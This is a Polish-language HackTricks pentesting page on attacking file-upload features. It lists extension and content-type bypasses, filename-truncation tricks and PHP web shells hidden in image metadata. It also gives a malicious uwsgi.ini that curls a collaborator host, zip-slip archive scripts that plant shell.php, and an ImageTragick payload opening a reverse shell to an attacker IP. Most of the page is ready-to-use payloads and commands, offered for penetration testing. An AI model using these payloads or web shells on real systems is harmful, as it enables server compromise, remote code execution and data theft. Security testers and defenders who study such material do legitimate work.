File Upload

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Jeśli interesuje Cię kariera hakerska i hakowanie niemożliwego do zhakowania - zatrudniamy! (wymagana biegła znajomość języka polskiego w mowie i piśmie).

Ogólna Metodologia Wysyłania Plików

Inne przydatne rozszerzenia:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module

  • Praca w PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp

  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml

  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action

  • Coldfusion: .cfm, .cfml, .cfc, .dbm

  • Flash: .swf

  • Perl: .pl, .cgi

  • Serwer WWW Erlang Yaws: .yaws

Ominięcie sprawdzania rozszerzeń plików

  1. Jeśli stosują sprawdzenie, to sprawdź poprzednie rozszerzenia. Testuj je również używając wielkich liter: pHp, .pHP5, .PhAr ...

  2. Sprawdź dodanie prawidłowego rozszerzenia przed rozszerzeniem wykonawczym (użyj również poprzednich rozszerzeń):

  • file.png.php

  • file.png.Php5

  1. Spróbuj dodać znaki specjalne na końcu. Możesz użyć Burp do próby siłowej wszystkich znaków ascii i Unicode. (Zauważ, że możesz również spróbować użyć wcześniej wspomnianych rozszerzeń)

  • file.php%20

  • file.php%0a

  • file.php%00

  • file.php%0d%0a

  • file.php/

  • file.php.\

  • file.

  • file.php....

  • file.pHp5....

  1. Spróbuj ominić zabezpieczenia oszukując analizator rozszerzeń po stronie serwera za pomocą technik takich jak podwajanie rozszerzenia lub dodawanie śmieciowych danych (bajty null) między rozszerzeniami. Możesz również użyć poprzednich rozszerzeń do przygotowania lepszego ładunku.

  • file.png.php

  • file.png.pHp5

  • file.php#.png

  • file.php%00.png

  • file.php\x00.png

  • file.php%0a.png

  • file.php%0d%0a.png

  • file.phpJunk123png

  1. Dodaj kolejną warstwę rozszerzeń do poprzedniej kontroli:

  • file.png.jpg.php

  • file.php%00.png%00.jpg

  1. Spróbuj umieścić rozszerzenie wykonawcze przed prawidłowym rozszerzeniem i miej nadzieję, że serwer jest źle skonfigurowany. (przydatne do wykorzystania błędów konfiguracji Apache, gdzie cokolwiek z rozszerzeniem** .php, ale niekoniecznie kończące się na .php** będzie wykonywać kod):

  • np. file.php.png

  1. Używanie alternatywnego strumienia danych NTFS (ADS) w Windows. W tym przypadku po niedozwolonym rozszerzeniu i przed dozwolonym zostanie wstawiony znak dwukropka ":". W rezultacie na serwerze zostanie utworzony pusty plik z niedozwolonym rozszerzeniem (np. "file.asax:.jpg"). Ten plik może być później edytowany za pomocą innych technik, takich jak korzystanie z jego krótkiej nazwy pliku. Wzorzec "::$data" może również być używany do tworzenia plików niepustych. Dlatego dodanie kropki po tym wzorcu może być również przydatne do ominięcia dalszych ograniczeń (np. "file.asp::$data.")

  2. Spróbuj złamać limity nazwy pliku. Prawidłowe rozszerzenie zostaje odcięte. A złośliwy PHP pozostaje. AAA<--SNIP-->AAA.php

# Maksymalnie 255 bajtów w systemie Linux
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # odejmij 4 i dodaj .png
# Wgraj plik i sprawdź odpowiedź, ile znaków pozwala. Załóżmy 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Utwórz ładunek
AAA<--SNIP 232 A-->AAA.php.png

Ominięcie typu zawartości, numeru magicznego, kompresji i zmiany rozmiaru

  • Ominięcie sprawdzania typu zawartości ustawiając wartość nagłówka Content-Type na: image/png , text/plain , application/octet-stream

  • Ominięcie sprawdzania numeru magicznego poprzez dodanie na początku pliku bajtów rzeczywistego obrazu (myli polecenie file). Lub wprowadzenie powłoki w metadanych: exiftool -Comment="<?php echo 'Polecenie:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg \ lub można również wprost wprowadzić ładunek w obrazie: echo '<?php system($_REQUEST['cmd']); ?>' >> img.png

  • Jeśli do twojego obrazu jest dodawana kompresja, na przykład za pomocą standardowych bibliotek PHP takich jak PHP-GD, poprzednie techniki nie będą przydatne. Możesz jednak użyć kawałka PLTE zdefiniowanej tutaj techniki, aby wstawić tekst, który przetrwa kompresję.

  • Strona internetowa może również zmieniać rozmiar obrazu, używając na przykład funkcji PHP-GD imagecopyresized lub imagecopyresampled. Możesz jednak użyć kawałka IDAT zdefiniowanej tutaj techniki, aby wstawić tekst, który przetrwa kompresję.

  • Inna technika umożliwiająca utworzenie ładunku, który przetrwa zmianę rozmiaru obrazu, polega na użyciu funkcji PHP-GD thumbnailImage. Możesz jednak użyć kawałka tEXt zdefiniowanej tutaj techniki, aby wstawić tekst, który przetrwa kompresję.

Inne sztuczki do sprawdzenia

  • Znajdź podatność umożliwiającą zmianę nazwy już przesłanego pliku (zmianę rozszerzenia).

  • Znajdź podatność na Lokalne Włączenie Pliku umożliwiającą wykonanie tylnych drzwi.

  • Możliwe ujawnienie informacji:

  1. Prześlij kilka razy (i jednocześnie) ten sam plik o tej samej nazwie

  2. Prześlij plik o nazwie pliku lub folderu, który już istnieje

  3. Prześlij plik o nazwie “.”, “..”, lub “…”. Na przykład w Apache w Windows, jeśli aplikacja zapisuje przesłane pliki w katalogu “/www/uploads/”, plik o nazwie “.” utworzy plik o nazwie “uploads” w katalogu “/www/”.

  4. Prześlij plik, który nie może być łatwo usunięty, taki jak “…:.jpg” w NTFS. (Windows)

  5. Prześlij plik w Windows z nieprawidłowymi znakami takimi jak |<>*?” w nazwie. (Windows)

  6. Prześlij plik w Windows używając zarezerwowanych (zakazanych) nazw takich jak CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 i LPT9.

  • Spróbuj również przesłać plik wykonywalny (.exe) lub .html (mniej podejrzany), który wykona kod w przypadku przypadkowego otwarcia przez ofiarę.

Specjalne sztuczki z rozszerzeniami

Jeśli próbujesz przesłać pliki do serwera PHP, sprawdź sztuczkę z plikiem .htaccess do wykonania kodu. Jeśli próbujesz przesłać pliki do serwera ASP, sprawdź sztuczkę z plikiem .config do wykonania kodu.

Pliki .phar są jak pliki .jar dla Javy, ale dla PHP, i mogą być używane jak plik php (wykonywane z php lub dołączane do skryptu...)

Rozszerzenie .inc jest czasami używane dla plików php, które służą tylko do importowania plików, więc w pewnym momencie ktoś mógł pozwolić na wykonanie tego rozszerzenia.

Jetty RCE

Jeśli możesz przesłać plik XML do serwera Jetty, możesz uzyskać RCE, ponieważ nowe pliki *.xml i *.war są automatycznie przetwarzane. Więc, jak wspomniano na poniższym obrazie, przesłać plik XML do $JETTY_BASE/webapps/ i oczekiwać powłoki!

uWSGI RCE

Dla szczegółowego zbadania tej podatności sprawdź oryginalne badania: Eksploatacja uWSGI RCE.

Podatności na zdalne wykonanie kodu (RCE) mogą być wykorzystane w serwerach uWSGI, jeśli ktoś ma możliwość modyfikacji pliku konfiguracyjnego .ini. Pliki konfiguracyjne uWSGI wykorzystują określoną składnię do włączenia "magicznych" zmiennych, zmiennych zastępczych i operatorów. Warto zauważyć, że operator '@', używany jako @(nazwa_pliku), służy do dołączania zawartości pliku. Wśród różnych obsługiwanych schematów w uWSGI, schemat "exec" jest szczególnie potężny, umożliwiając odczytywanie danych z wyjścia standardowego procesu. Ta funkcja może być manipulowana w celach niecnych, takich jak zdalne wykonanie kodu lub zapis/odczyt pliku, gdy plik konfiguracyjny .ini jest przetwarzany.

Rozważ poniższy przykład szkodliwego pliku uwsgi.ini, prezentującego różne schematy:

[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

Wykonanie ładunku następuje podczas analizy pliku konfiguracyjnego. Aby konfiguracja została aktywowana i sparsowana, proces uWSGI musi zostać zrestartowany (potencjalnie po awarii lub w wyniku ataku typu Denial of Service) lub plik musi być ustawiony do automatycznego przeładowania. Funkcja automatycznego przeładowania, jeśli jest włączona, przeładowuje plik w określonych odstępach czasu po wykryciu zmian.

Niezwykle istotne jest zrozumienie luźnego charakteru analizy pliku konfiguracyjnego uWSGI. W szczególności omawiany ładunek może być wstawiony do pliku binarnego (takiego jak obraz lub PDF), co dodatkowo poszerza zakres potencjalnej eksploatacji.

Sztuczka z przesyłaniem plików/wykonywaniem żądań SSRF za pomocą wget

W niektórych sytuacjach możesz zauważyć, że serwer używa wget do pobierania plików i możesz określić URL. W takich przypadkach kod może sprawdzać, czy rozszerzenie pobieranych plików znajduje się na białej liście, aby zapewnić, że pobierane będą tylko dozwolone pliki. Jednakże, to sprawdzenie można ominąć. Maksymalna długość nazwy pliku w systemie Linux wynosi 255, jednak wget skraca nazwy plików do 236 znaków. Możesz pobrać plik o nazwie "A"*232+".php"+".gif", ta nazwa pliku omija sprawdzenie (w tym przykładzie ".gif" to poprawne rozszerzenie), ale wget zmieni nazwę pliku na "A"*232+".php".

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]

Zauważ, że inną opcją, o której możesz myśleć, aby ominąć tę kontrolę, jest sprawienie, że serwer HTTP przekieruje do innego pliku, więc początkowy URL ominie kontrolę, a następnie wget pobierze przekierowany plik pod nową nazwą. To nie zadziała, chyba że wget jest używany z parametrem --trust-server-names, ponieważ wget pobierze przekierowaną stronę pod nazwą pliku wskazaną w oryginalnym URL-u.

Narzędzia

  • Upload Bypass to potężne narzędzie zaprojektowane do pomocy Pentesterom i Łowcom Błędów w testowaniu mechanizmów przesyłania plików. Wykorzystuje różne techniki nagród za błędy, aby uproszczać proces identyfikacji i wykorzystywania podatności, zapewniając kompleksową ocenę aplikacji internetowych.

Od przesyłania plików do innych podatności

Oto lista 10 rzeczy, które możesz osiągnąć poprzez przesyłanie (z tutaj):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE

  2. SVG: Stored XSS / SSRF / XXE

  3. GIF: Stored XSS / SSRF

  4. CSV: Wstrzyknięcie CSV

  5. XML: XXE

  6. AVI: LFI / SSRF

  7. HTML / JS : Wstrzyknięcie HTML / XSS / Otwarte przekierowanie

  8. PNG / JPEG: Atak zalewania pikseli (DoS)

  9. ZIP: RCE poprzez LFI / DoS

  10. PDF / PPTX: SSRF / Ślepy XXE

Rozszerzenie Burp

Magiczne bajty nagłówka

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["

  • JPG: "\xff\xd8\xff"

Odniesienie do https://en.wikipedia.org/wiki/List_of_file_signatures dla innych typów plików.

Automatyczne dekompresowanie plików Zip/Tar podczas przesyłania

Jeśli możesz przesłać plik ZIP, który zostanie zdekompresowany na serwerze, możesz zrobić 2 rzeczy:

Prześlij link zawierający miękkie linki do innych plików, a następnie, uzyskując dostęp do zdekompresowanych plików, uzyskasz dostęp do połączonych plików:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

Dekompresuj w różnych folderach

Niespodziewane tworzenie plików w katalogach podczas dekompresji stanowi istotny problem. Pomimo początkowych założeń, że taka konfiguracja może chronić przed wykonaniem poleceń na poziomie systemu operacyjnego poprzez złośliwe przesyłanie plików, hierarchiczne wsparcie dla kompresji i możliwości nawigacji po katalogach formatu archiwum ZIP mogą być wykorzystane. Pozwala to atakującym ominąć ograniczenia i uciec z bezpiecznych katalogów przesyłania, manipulując funkcjonalnością dekompresji docelowej aplikacji.

Automatyczny exploit do tworzenia takich plików jest dostępny na evilarc na GitHubie. Narzędzie można użyć w następujący sposób:

# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

Dodatkowo, szalony trik z symlinkiem z evilarc jest opcją. Jeśli celem jest docelowy plik np. /flag.txt, należy utworzyć symlink do tego pliku w systemie. Zapewnia to, że evilarc nie napotka błędów podczas swojego działania.

Poniżej znajduje się przykład kodu w języku Python używanego do tworzenia złośliwego pliku zip:

#!/usr/bin/python
import zipfile
from io import BytesIO

def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

Wykorzystywanie kompresji do rozprzestrzeniania plików

Aby uzyskać dalsze szczegóły, sprawdź oryginalny post pod adresem: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

  1. Tworzenie powłoki PHP: Kod PHP jest napisany w celu wykonania poleceń przekazanych za pomocą zmiennej $_REQUEST.

<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. Rozprzestrzenianie plików i tworzenie skompresowanego pliku: Tworzone są multiple pliki, a następnie tworzony jest plik zip zawierający te pliki.

root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
  1. Modyfikacja za pomocą edytora heksadecymalnego lub vi: Nazwy plików wewnątrz archiwum zip są zmieniane za pomocą vi lub edytora heksadecymalnego, zmieniając "xxA" na "../" w celu przemieszczania się po katalogach.

:set modifiable
:%s/xxA/..\//g
:x!

ImageTragic

Prześlij tę zawartość z rozszerzeniem obrazu, aby wykorzystać podatność (ImageMagick, 7.0.1-1) (z exploitem)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

Osadzanie powłoki PHP w pliku PNG

Osadzenie powłoki PHP w segmencie IDAT pliku PNG może skutecznie ominąć pewne operacje przetwarzania obrazu. Funkcje imagecopyresized i imagecopyresampled z PHP-GD są szczególnie istotne w tym kontekście, ponieważ są powszechnie używane do zmiany rozmiaru i próbkowania obrazów. Zdolność osadzonej powłoki PHP do pozostania niezmienionej podczas tych operacji stanowi znaczącą zaletę w niektórych przypadkach użycia.

Szczegółowe omówienie tej techniki, wraz z jej metodologią i potencjalnymi zastosowaniami, znajduje się w następującym artykule: "Kodowanie powłok internetowych w segmentach IDAT plików PNG". Ten zasób oferuje kompleksowe zrozumienie procesu i jego implikacji.

Więcej informacji pod adresem: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Pliki poliglotyczne

Pliki poliglotyczne stanowią unikalne narzędzie w cyberbezpieczeństwie, działając jak kameleon, który może istnieć jednocześnie w wielu formatach plików. Zainteresującym przykładem jest GIFAR, hybryda, która działa zarówno jako plik GIF, jak i archiwum RAR. Takie pliki nie są ograniczone do tej pary; kombinacje takie jak GIF i JS lub PPT i JS są również możliwe.

Podstawową użytecznością plików poliglotycznych jest ich zdolność do omijania środków bezpieczeństwa, które przesiewają pliki na podstawie typu. Powszechną praktyką w różnych aplikacjach jest zezwalanie tylko na określone typy plików do przesyłania - takie jak JPEG, GIF lub DOC - w celu zmniejszenia ryzyka związanego z potencjalnie szkodliwymi formatami (np. JS, PHP lub plikami Phar). Jednak plik poliglotyczny, poprzez dostosowanie się do kryteriów strukturalnych wielu typów plików, może skutecznie ominąć te ograniczenia.

Mimo swojej elastyczności, pliki poliglotyczne napotykają pewne ograniczenia. Na przykład, chociaż plik poliglotyczny może jednocześnie reprezentować plik PHAR (PHp ARchive) i JPEG, sukces jego przesłania może zależeć od polityk rozszerzeń plików platformy. Jeśli system jest rygorystyczny w kwestii dozwolonych rozszerzeń, sama strukturalna dwuistotność pliku poliglotycznego może nie wystarczyć, by zagwarantować jego przesłanie.

Więcej informacji pod adresem: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

Odnośniki

Jeśli interesuje Cię kariera hakera i hakiowanie rzeczy niemożliwych - rekrutujemy! (biegła znajomość języka polskiego w mowie i piśmie wymagana).

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated